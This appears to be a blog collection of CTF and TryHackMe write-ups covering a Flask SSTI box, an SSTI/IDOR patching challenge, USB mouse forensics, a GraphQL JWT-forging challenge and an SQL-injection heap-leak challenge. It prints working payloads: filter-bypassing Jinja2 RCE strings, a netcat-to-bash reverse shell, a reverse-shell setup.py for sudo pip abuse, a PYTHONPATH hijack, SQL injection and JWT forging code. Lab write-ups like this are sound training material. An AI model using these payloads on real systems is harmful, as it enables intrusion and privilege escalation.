4	SSH private key stored in internal S3 bucket with weak passphrase	Shell as `trivia`
5	`sudo /usr/bin/facter --custom-dir` (NOPASSWD) with controllable Ruby	Root via SUID bash

Attack Chain

Self-Registration → Low-Privilege CMS Account
  → CVE-2024-46987 LFI → /etc/passwd (user enumeration)
    → CVE-2025-2304 Mass Assignment → CMS Admin Role
      → Settings Panel → AWS S3 Credentials (plaintext)
        → LocalStack S3 → internal bucket → id_ed25519
          → john + rockyou → passphrase: dragonballz
            → SSH as trivia
              → sudo facter --custom-dir (NOPASSWD)
                → Custom Ruby Fact → chmod +s /usr/bin/bash
                  → bash -p → root

TryHackMe - VulnNet: dotpy Writeup

Yogeshwar Peela — Wed, 10 Jun 2026 04:26:24 +0000

Machine Information

Field	Details
Platform	TryHackMe
Room	VulnNet: dotpy
Difficulty	Medium
OS	Linux
Web Stack	Python / Flask (Werkzeug 1.0.1)

Reconnaissance

Port Scan

nmap -sCV -A MACHINE-IP -oA output

Only one port open:

8080/tcp  open  http  Werkzeug httpd 1.0.1 (Python 3.6.9)

The web app redirects to /login and is confirmed to be a Flask application running under Werkzeug.

Directory Enumeration

dirsearch -u http://MACHINE-IP:8080/ -x 403,404

Findings:

Path	Status	Notes
`/login`	200	Login form
`/register`	200	Registration form
`/shutdown`	200	23 bytes — Werkzeug debug endpoint

Initial Access — SSTI to RCE

Step 1: Register & Login

Registered a test account at /register and authenticated. The post-login dashboard is a Staradmin template with no immediately obvious injection points.

Step 2: SSTI Discovery

Navigating to http://dotpy.thm:8080/env returns a styled 404 page that echoes the URL path back into the body:

No results for env

Injecting {{7*7}} in the path:

http://dotpy.thm:8080/{{7*7}}

Returns:

No results for 49

SSTI confirmed. The source code traceback (visible via Werkzeug debug mode) confirms the path is passed into render_template_string() on TemplateNotFound.

Step 3: Config Dump via `{{config}}`

http://dotpy.thm:8080/{{config}}

The 404 body leaks the full Flask config, including:

'SECRET_KEY': 'S3cr3t_K#Key'

This allows forging session cookies with flask-unsign:

flask-unsign --decode --cookie '<session_cookie>'
flask-unsign --sign --cookie "{'_fresh': True, ...}" --secret 'S3cr3t_K#Key'

Although a forged admin cookie was generated, it yielded no additional access surface — the real prize was RCE.

Step 4: WAF / Filter Bypass

The application blocks certain characters in the URL path:

Blocked	Reason
`.` (dot)	Prevents attribute access
`_` (underscore)	Prevents dunder access
`[` `]`	Prevents subscript access
`\`	Converted to `/` server-side

The pipe | operator (Jinja2 filter chaining) is not blocked.

Initial attempt using hex encoding (\x5f) for underscores failed because the server converts backslashes to forward slashes.

Working bypass — using %c format string to synthesize underscores at runtime, combined with attr() for attribute access:

{{lipsum|attr("%25c"|format(95)~"%25c"|format(95)~"globals"~"%25c"|format(95)~"%25c"|format(95))|attr(...)("os")|attr("popen")("id")|attr("read")()}}

Output: uid=1001(web) gid=1001(web) groups=1001(web) — RCE confirmed as web.

Step 5: Reverse Shell

Since / in commands is blocked, standard reverse shell payloads fail. Two bypasses were chained:

Bypass 1 — IP as decimal integer (no dots):

printf '%d\n' $(printf '0x%02x%02x%02x%02x\n' 192 168 236 96)
# Result: YOUR-IP-DECIMAL

Bypass 2 — Pipe netcat output directly to bash (no file write, no slashes in path):

nc YOUR-IP-DECIMAL 8001 | bash

Attack setup:

Terminal 1 (serve shell payload):

nc -lvnp 8001 < shell.sh

shell.sh:

bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

Terminal 2 (catch shell):

nc -lvnp 4444

Final SSTI payload delivered via URL:

{{(lipsum,)|map(**{"at"+"tribute":("%c%cglobals%c%c"|format(95,95,95,95))})|list|first|attr("get")("os")|attr("popen")("nc YOUR-IP-DECIMAL 8001|bash")|attr("read")()}}

Shell received as web.

Privilege Escalation

web → system-adm (Malicious pip3 Package)

sudo -l
# (system-adm) NOPASSWD: /usr/bin/pip3 install *

web can run pip3 install as system-adm without a password.

Created a malicious Python package in /tmp/evil/:

# setup.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR-IP",4443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")

Started a listener then triggered the install:

sudo -u system-adm /usr/bin/pip3 install .

Shell received as system-adm. User flag retrieved:

THM{REDACTED}

system-adm → root (PYTHONPATH Hijack)

sudo -l
# (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py

system-adm can run backup.py as any user with SETENV — meaning environment variables like PYTHONPATH can be set.

Inspecting /opt/backup.py:

from datetime import datetime
from pathlib import Path
import zipfile          # <-- imported module

The script imports the standard library module zipfile. By placing a malicious zipfile.py in /home/system-adm and prepending that directory to PYTHONPATH, Python will load the malicious module instead:

cat > /home/system-adm/zipfile.py << 'EOF'
import os
os.system("/bin/bash")
EOF

Triggered with:

sudo PYTHONPATH=/home/system-adm /usr/bin/python3 /opt/backup.py

Spawned a root shell. Root flag retrieved:

THM{REDACTED}

Tools Used

Tool	Purpose
nmap	Port scanning
dirsearch	Directory enumeration
flask-unsign	Flask session cookie decode/forge
netcat	Reverse shell delivery and catching
PayloadsAllTheThings	SSTI Jinja2 bypass reference

Key Vulnerabilities

Vulnerability	Location	Impact
Server-Side Template Injection (SSTI)	URL path reflected into `render_template_string`	RCE as `web`
Flask SECRET_KEY disclosure via SSTI	`{{config}}` payload	Session forgery
Sudo pip3 install abuse	`web → system-adm`	Lateral movement
PYTHONPATH hijack via `zipfile.py`	`system-adm → root`	Full privilege escalation

Attack Chain

[Recon: nmap + dirsearch]
        |
[Register + Login → Dashboard]
        |
[SSTI Discovery: {{7*7}} → 49 in 404 body]
        |
[{{config}} → SECRET_KEY: S3cr3t_K#Key]
        |
[Character Filter Bypass (. _ [ ])]
        |
[SSTI RCE via lipsum + %c format + attr chaining]
        |
[Reverse Shell → web]
        |
[sudo pip3 install → malicious setup.py → system-adm]
        |
[PYTHONPATH hijack → zipfile.py → root]

Key Takeaways

SSTI in Flask's render_template_string is critical — even indirect injection via a 404 handler is fully exploitable.
Character-based WAFs are bypassable — Jinja2's |attr(), %c format tricks, and filter chaining can reconstruct blocked characters at template evaluation time.
IP decimal notation bypasses dot-blocked command environments without needing encoding.
SETENV in sudo rules is dangerous — allowing the invoker to set environment variables like PYTHONPATH effectively grants arbitrary code execution at the target privilege level.
pip3 as sudo is an instant privilege escalation path — any writable directory can host a malicious setup.py.

Render & Plunder - dalCTF 2026

Yogeshwar Peela — Mon, 08 Jun 2026 14:52:32 +0000

Challenge: Render & Plunder

Category: Web Security / Defense

Challenge Description

I wrote a user-profile service with a nice renderer for myself. Surely it's secure, right? Take a look and patch any vulnerabilities while keeping the app fully functional.
"You know how to enter. Find the way out."

A Python Flask app with login, user profile GET/PUT, and a /render endpoint. We must defend it — patch all vulnerabilities without breaking functionality.

Vulnerability Analysis

The original code had three vulnerabilities:

1. Server-Side Template Injection (SSTI) — Critical

# VULNERABLE
name = data.get("name", "User")
template_source = f"Hello {name}! Here is your report for user {payload.get('username', '?')}."
result = Template(template_source).render()

User-controlled name is interpolated directly into a Jinja2 template string before rendering. An attacker can send:

{ "name": "{{ 7*7 }}" }

And get back Hello 49! — confirming code execution. From there, full RCE is trivial:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

This gives the attacker a shell on the server.

2. Broken Object Level Authorization (BOLA / IDOR) on GET

# VULNERABLE
@app.route("/api/users/<user_id>/data", methods=["GET"])
def get_user_data(user_id: str):
    payload = _require_auth()
    username = ID_TO_USER.get(user_id)
    return jsonify({"profile": USERS[username]["profile"]}), 200

Any authenticated user can read any other user's profile by changing the user_id in the URL. The JWT is verified, but its user_id claim is never compared against the requested resource.

3. Broken Object Level Authorization (BOLA / IDOR) on PUT

# VULNERABLE
@app.route("/api/users/<user_id>/data", methods=["PUT"])
def update_user_data(user_id: str):
    payload = _require_auth()
    username = ID_TO_USER.get(user_id)
    bio = data.get("bio", "")
    USERS[username]["profile"]["bio"] = bio

Same issue on write — any authenticated user can overwrite any other user's bio.

Fixes

Fix 1 — SSTI: Never render user input as a template

Use a static template string with Jinja2 variables, and pass user data as context — never interpolate into the template source itself. Or skip Jinja2 entirely and use an f-string (since no template logic is needed here):

# FIXED — no Jinja2, no injection risk
name = data.get("name", "User")
result = f"Hello {name}! Here is your report for user {payload.get('username', '?')}."
return jsonify({"report": result}), 200

The key insight: name appears in the output, not as part of the template syntax. An f-string achieves this safely without invoking Jinja2 at all.

Fix 2 & 3 — BOLA: Enforce ownership on GET and PUT

Compare the user_id from the JWT payload against the user_id in the URL path. Reject if they don't match:

# FIXED
if str(payload.get("user_id")) != str(user_id):
    return jsonify({"error": "Forbidden"}), 403

Applied to both the GET and PUT routes before any data is accessed or modified.

Final Patched Code

import os
import json
import datetime
from flask import Flask, request, jsonify
import jwt

app = Flask(__name__)

JWT_SECRET = os.environ.get("JWT_SECRET", "dev_secret_change_me")
_raw = os.environ.get("USERS_JSON", "{}")
USERS = json.loads(_raw)
ID_TO_USER = {v["id"]: k for k, v in USERS.items()}

@app.route("/health")
def health():
    return jsonify({"status": "ok"}), 200

@app.route("/login", methods=["POST"])
def login():
    data = request.get_json(silent=True) or {}
    username = data.get("username", "")
    password = data.get("password", "")
    user = USERS.get(username)
    if user and user.get("password") == password:
        token = jwt.encode(
            {
                "username": username,
                "user_id": user["id"],
                "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1),
            },
            JWT_SECRET,
            algorithm="HS256",
        )
        return jsonify({"token": token, "user_id": user["id"]})
    return jsonify({"error": "Invalid credentials"}), 401

def _decode_token(token: str) -> dict:
    return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])

def _require_auth():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    if not token:
        raise Exception("Missing token")
    return _decode_token(token)

@app.route("/api/users/<user_id>/data", methods=["GET"])
def get_user_data(user_id: str):
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    # FIX: enforce user can only access their own data
    if str(payload.get("user_id")) != str(user_id):
        return jsonify({"error": "Forbidden"}), 403

    username = ID_TO_USER.get(user_id)
    if not username:
        return jsonify({"error": "User not found"}), 404
    return jsonify({"profile": USERS[username]["profile"]}), 200

@app.route("/api/users/<user_id>/data", methods=["PUT"])
def update_user_data(user_id: str):
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    # FIX: enforce ownership
    if str(payload.get("user_id")) != str(user_id):
        return jsonify({"error": "Forbidden"}), 403

    username = ID_TO_USER.get(user_id)
    if not username:
        return jsonify({"error": "User not found"}), 404
    data = request.get_json(silent=True) or {}
    bio = data.get("bio", "")
    USERS[username]["profile"]["bio"] = bio
    return jsonify({"message": "Profile updated", "bio": bio}), 200

@app.route("/render", methods=["POST"])
def render_report():
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    data = request.get_json(silent=True) or {}
    name = data.get("name", "User")

    # FIX: plain f-string, user input never touches template engine
    result = f"Hello {name}! Here is your report for user {payload.get('username', '?')}."
    return jsonify({"report": result}), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

Summary of Changes

#	Vulnerability	Location	Fix
1	SSTI (Remote Code Execution)	`/render`	Removed Jinja2 `Template` — use plain f-string
2	BOLA / IDOR (unauthorized read)	`GET /api/users/<user_id>/data`	Compare JWT `user_id` to URL param, return 403 if mismatch
3	BOLA / IDOR (unauthorized write)	`PUT /api/users/<user_id>/data`	Same ownership check before allowing update

Attack Demos (Original Vulnerable Code)

SSTI RCE:

curl -X POST /render \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"name": "{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"id\").read() }}"}'
# Response: "Hello uid=0(root) gid=0(root)! Here is your report..."

IDOR — read another user's profile:

# Logged in as user_id=2, accessing user_id=1
curl /api/users/1/data -H "Authorization: Bearer <user2_token>"
# Returns user 1's private profile data — no error

Key Takeaways

Never render user input as a template. Pass it as a variable into a static template, or avoid the template engine entirely if no logic is needed.
Authentication ≠ Authorization. Verifying a JWT proves who you are — you must still check what you're allowed to access. Always compare the token's identity claims against the requested resource.
BOLA (Broken Object Level Authorization) is the #1 API vulnerability class (OWASP API Top 10). It's easy to miss because the endpoint works correctly for the legitimate user — it just doesn't restrict which user.

Weird Movements - dalCTF

Yogeshwar Peela — Mon, 08 Jun 2026 04:39:02 +0000

Category: Forensics
Flag: dalctf{h3h3_i_s2_p41nt}

Overview

We're given a packet capture. The capture turns out to be a Linux USB HID (mouse) trace — the user held left-click and physically drew the flag on screen. The drawn text is ROT13-encoded, giving one extra layer of obfuscation.

Reconnaissance

file capture.pcap
# pcap capture file, microsecond ts (little-endian) - version 2.4
# (Memory-mapped Linux USB, capture length 134217728)

The link type is 220 (LINKTYPE_USB_LINUX_MMAPPED) — Linux USB captured via usbmon. Standard tools like Wireshark will decode this, but scapy treats it as raw since it doesn't recognise link type 220 natively.

Packet Structure

The capture contains 8618 packets. Parsing with scapy using the raw usbmon header layout:

from scapy.all import rdpcap
import struct

packets = rdpcap("capture.pcap")

Each raw packet is a usbmon_packet struct (48 bytes) followed by the HID data payload. Key fields in the header:

Offset	Field	Value
8	type	`S`=submit, `C`=complete
9	transfer type	`1` = interrupt
10	endpoint	`0x81` = EP1 IN
36	data length	4 bytes LE

Filtering for interrupt IN packets with data gives 4254 HID reports — all mouse events.

HID Payload Layout

Each report is 20 bytes. The first 16 bytes are usbmon internal metadata (constant across packets). The actual HID data occupies bytes 16–19:

Byte	Field
16	buttons (0 = none, 1 = left click)
17	X delta (signed 8-bit)
18	Y delta (signed 8-bit)
19	scroll wheel

Extracting the Mouse Path

events = []
for pkt in packets:
    raw = pkt.load
    if len(raw) < 48:
        continue
    if raw[9] == 1 and (raw[10] & 0x80):          # interrupt IN
        data_len = struct.unpack_from("<I", raw, 36)[0]
        if data_len > 0 and len(raw) > 48:
            hid = raw[48:]
            if len(hid) >= 20:
                btn = hid[16]
                dx  = struct.unpack_from("b", hid, 17)[0]
                dy  = struct.unpack_from("b", hid, 18)[0]
                events.append((dx, dy, btn))

Reconstructing absolute position by accumulating deltas:

x, y = 0, 0
path = []
for dx, dy, btn in events:
    x += dx
    y += dy
    path.append((x, y, btn))

Total points: 4254
Clicked points (btn=1): 2783
X range: −1021 to 340
Y range: −197 to 99

Rendering the Drawing

Only points where btn == 1 (left button held) are drawn. Connecting consecutive clicked points as line segments produces clean cursive-style strokes:

from PIL import Image, ImageDraw

scale = 4
margin = 40
xmin, ymin = min(xs), min(ys)
w = (max(xs) - xmin + 1) * scale + 2*margin
h = (max(ys) - ymin + 1) * scale + 2*margin

img = Image.new("RGB", (w, h), "white")
draw = ImageDraw.Draw(img)

prev = None
for px, py, btn in path:
    rx = (px - xmin) * scale + margin
    ry = (py - ymin) * scale + margin
    if btn == 1:
        if prev:
            draw.line([prev, (rx, ry)], fill="black", width=4)
        prev = (rx, ry)
    else:
        prev = None

The rendered image reveals handwritten text: QNYPGS{U3U3_V_F2_C41AG}

ROT13 Decode

The drawn text is ROT13-encoded:

QNYPGS{U3U3_V_F2_C41AG}
      ↓ ROT13
dalctf{h3h3_i_s2_p41nt}

Only alphabetic characters are shifted; digits and symbols pass through unchanged.

Flag

dalctf{h3h3_i_s2_p41nt}

Key Takeaways

USB pcap with link type 220 is Linux usbmon mmapped format — file identifies it correctly but scapy needs manual parsing.
The usbmon header is 48 bytes; HID data follows immediately. For this mouse, the actual report is at bytes 16–19 of the data section (not byte 0), due to usbmon internal padding.
Mouse drawing challenges require reconstructing absolute position from cumulative relative deltas, then rendering clicked-only segments as strokes.
The extra ROT13 layer is a lightweight encode-on-top that's easy to miss if you're only looking for standard flag format wrappers.

Tools Used

Tool	Purpose
`file`	Identify pcap link type (USB Linux mmapped)
`scapy`	Parse raw usbmon packets
`struct`	Unpack signed 8-bit deltas and little-endian fields
`Pillow`	Render mouse path as PNG
ROT13	Decode drawn ciphertext to flag

Iceman - dalCTF 2026

Yogeshwar Peela — Mon, 08 Jun 2026 04:33:07 +0000

Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}

Category: Web / GraphQL / JWT

Overview

A music-themed GraphQL API protected by JWT-based tier access control. The goal was to escalate from a fan tier account to OVO membership in order to read the vaultManifest field on an unreleased album.

Step 1 - GraphQL Introspection

With introspection enabled on the target, the full schema was enumerated:

{ __schema { types { name fields { name } } } }

Discovered types: Query, Mutation, AuthPayload, User, Label, Artist, Album, Track

Key queries:
| Query | Notes |
|---|---|
| me | Returns current user's username and tier |
| releasedAlbums | Auth required |
| album(id) | Auth required |
| label(name) | Traverses label → artists → albums |

Key mutations: register(username, password), login(username, password)

Step 2 - Account Registration & JWT Analysis

Registering a test account:

mutation {
  register(username: "test", password: "test") {
    token
  }
}

Returned JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs

Decoded payload:

{ "username": "test", "tier": "fan" }

Querying protected endpoints with this token returned:

"OVO membership required. Fan accounts do not have vault access."

This confirmed tier-based access control — tier: "OVO" was needed.

Step 3 - Attack Surface Assessment

alg:none bypass — attempted with multiple tier values (OVO, admin, premium). All rejected with "Authentication required." — the server enforces signature verification.

Register with tier argument — rejected:

Unknown argument 'tier' on field 'Mutation.register'

The only viable path: crack the HMAC secret and forge a valid signed token.

Step 4 - JWT Secret Cracking

Using Python's hmac + hashlib to test a CTF-themed wordlist against the original token's signature:

import hmac, hashlib, base64

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs"
header_payload = ".".join(token.split(".")[:2])
orig_sig = token.split(".")[2]

def b64url_decode(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

orig_sig_bytes = b64url_decode(orig_sig)

wordlist = ["OVO", "ovo", "secret", ..., "dalctf", "iceman", ...]

for word in wordlist:
    sig = hmac.new(word.encode(), header_payload.encode(), hashlib.sha256).digest()
    computed = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    if computed == orig_sig:
        print(f"[+] SECRET FOUND: {word}")
        break

Result:

[+] SECRET FOUND: iceman

The challenge name itself (iceman) was the JWT signing secret.

Step 5 - Forging an OVO-Tier Token

import hmac, hashlib, base64, json

SECRET = "iceman"

def b64url(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',',':')).encode()
    ).rstrip(b'=').decode()

header  = b64url({"alg":"HS256","typ":"JWT"})
payload = b64url({"username":"test","tier":"OVO"})
sig = hmac.new(SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"
print(token)

Forged token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiT1ZPIn0.k3GYap8NGpMaEsiaG36u85UuHUux5hJVXD5IxckrOjk

Verified with me query:

{ "me": { "username": "test", "tier": "OVO" } }

Step 6 - Accessing the Vault via Label Traversal

releasedAlbums only returned IDs 1 and 2, both with vaultManifest: null. Brute-forcing album IDs 0–20 directly also yielded nothing.

The key was traversing via the label relationship, which exposed unreleased albums not returned by releasedAlbums:

{
  label(name: "OVO") {
    name
    artists {
      name
      albums {
        id
        title
        status
        vaultManifest
      }
    }
  }
}

Response:

{
  "label": {
    "name": "OVO",
    "artists": [{
      "name": "Drake",
      "albums": [
        { "id": "1", "status": "RELEASED",   "title": "For All the Dogs",    "vaultManifest": null },
        { "id": "2", "status": "RELEASED",   "title": "Some Sexy Songs 4 U", "vaultManifest": null },
        { "id": "9", "status": "UNRELEASED", "title": "ICEMAN",              "vaultManifest": "dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}" }
      ]
    }]
  }
}

Flag

dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}

Attack Chain Summary

Introspection → Enumerate schema
      ↓
Register → Get fan-tier JWT
      ↓
Identify tier-based access control
      ↓
alg:none rejected → must crack HMAC secret
      ↓
Crack secret: "iceman"
      ↓
Forge valid JWT with tier="OVO"
      ↓
label(name:"OVO") traversal → exposes UNRELEASED album id=9
      ↓
vaultManifest → FLAG

Key Takeaways

GraphQL introspection in production leaks the entire schema including sensitive field names like vaultManifest.
Weak JWT secrets (especially ones matching the challenge/app name) are trivially crackable with a small wordlist.
Authorization logic gaps - the label → artists → albums traversal bypassed the access controls on releasedAlbums and album(id), exposing unreleased content.
IDOR via graph traversal - album ID 9 was invisible to direct queries but reachable through the label relationship.

Heart Part 7 - dalCTF 2026

Yogeshwar Peela — Mon, 08 Jun 2026 04:25:51 +0000

Category: Web

Flag: dalctf{p1mp_p1mp_h00r4y}

Overview

A multi-stage web challenge themed around Kendrick Lamar's m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:

SQL injection to bypass authentication and get an admin JWT
Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key
Fetching and decrypting the flag using the leaked key and a separate IV field in the API response

Step 1 - SQL Injection → Admin Session

The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.

curl -X POST https://<target>/login \
  -d "username=admin'-- -&password=x"

Response:

HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q

Decoded JWT payload:

{"username": "admin", "role": "admin"}

The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.

Step 2 - Heap Memory Leak via Cipher Health Endpoint

The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.

curl -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}'

Response (echo field, base64-decoded):

A[63 null bytes]KENDRICK_MASTER_KEY=<32 raw key bytes>

Extracting the key:

curl -s -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"

Leaked key:

9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d

The variable name KENDRICK_MASTER_KEY and the service name MAadCipher are both nods to the Kendrick Lamar theme running throughout the challenge.

Step 3 - Fetching the Encrypted Flag

The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.

curl -s https://<target>/api/flag \
  -b "session=<admin_jwt>"

Full response:

{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}

Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding _h00r4y} — the tail of the flag. The correct IV was always in the "iv" field.

Step 4 - Decrypting the Flag

With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.

python3 - <<'EOF'
from base64 import b64decode
import subprocess

KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv  = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct  = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")

result = subprocess.run(
    ["openssl", "enc", "-d", "-aes-256-cbc",
     "-K", KEY, "-iv", iv.hex(), "-nosalt"],
    input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF

Output:

FLAG: dalctf{p1mp_p1mp_h00r4y}

Attack Chain Summary

Login page
  └─ SQL injection (admin'-- -)
       └─ Admin JWT session
            └─ /cipher/health heap leak
                 └─ KENDRICK_MASTER_KEY (AES-256 key)
                      └─ /api/flag → ciphertext + iv
                           └─ AES-256-CBC decrypt
                                └─ dalctf{p1mp_p1mp_h00r4y}

Key Takeaways

Always read the full API response. The IV was in the JSON the whole time - only extracting ciphertext caused the "missing block" rabbit hole.
Unbounded echo buffers leak heap memory. The size parameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read).
Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.